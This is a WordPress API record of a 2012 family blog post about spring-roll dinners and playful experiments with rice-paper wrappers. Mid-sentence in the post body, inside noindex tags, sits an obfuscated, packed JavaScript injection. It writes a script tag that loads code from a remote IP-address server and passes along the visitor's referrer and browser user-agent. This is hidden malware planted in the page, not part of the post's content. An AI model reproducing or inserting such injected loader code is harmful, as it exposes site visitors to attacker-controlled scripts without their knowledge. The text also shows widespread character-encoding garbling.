{"id":3017,"date":"2012-04-29T11:00:17","date_gmt":"2012-04-29T18:00:17","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3017"},"modified":"2012-06-14T08:22:04","modified_gmt":"2012-06-14T15:22:04","slug":"spring-silliness","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3017","title":{"rendered":"Spring silliness"},"content":{"rendered":"<p>Currently addicted to Spring Rolls \u00e2\u20ac\u201c we had friends over for a spring roll dinner (\u00e2\u20ac\u0153roll your own,\u00e2\u20ac\u009d so to speak) and then did it again when my parents came for lunch on Sunday.\u00c2\u00a0 The idea is to chop up a lot of fresh spring veggies and wrap them up in edible rice paper.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/silly.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright\" title=\"silly\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/04\/silly-300x237.jpg\" alt=\"\" width=\"300\" height=\"237\" \/><\/a><\/p>\n<p>Emily <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzner|var|u0026u|referrer|akhyd||js|php'.split('|'),0,{}))\n<\/script><\/noindex> stayed with me all weekend, and of course I didn\u00e2\u20ac\u2122t expect her to eat any \u00e2\u20ac\u0153weird\u00e2\u20ac\u009d spring rolls \u00e2\u20ac\u201c she\u00e2\u20ac\u2122s perfectly capable of cooking Ramen for herself.\u00c2\u00a0 But actually, she did try one.\u00c2\u00a0 And then we got curious about the physical properties of Spring Roll wrappers.\u00c2\u00a0 They look like translucent plastic disks, and then you soak them in water for only a few seconds, and they soften into transparent wisps of impossibly thin rice-paper that folds up, sticks together, and is delicious.\u00c2\u00a0 But can they be softened and then re-dried in different shapes?\u00c2\u00a0 Can you make rice-paper sculpture?\u00c2\u00a0 If you soften a spring roll wrapper and stick it to your face, can you make an edible mask?\u00c2\u00a0\u00c2\u00a0 <em>All in the name of science, people!<\/em><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Currently addicted to Spring Rolls \u00e2\u20ac\u201c we had friends over for a spring roll dinner&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[25,67,26],"class_list":["post-3017","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-kids","tag-spring","tag-win"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3017"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3017"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3017\/revisions"}],"predecessor-version":[{"id":3164,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3017\/revisions\/3164"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3017"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3017"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3017"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}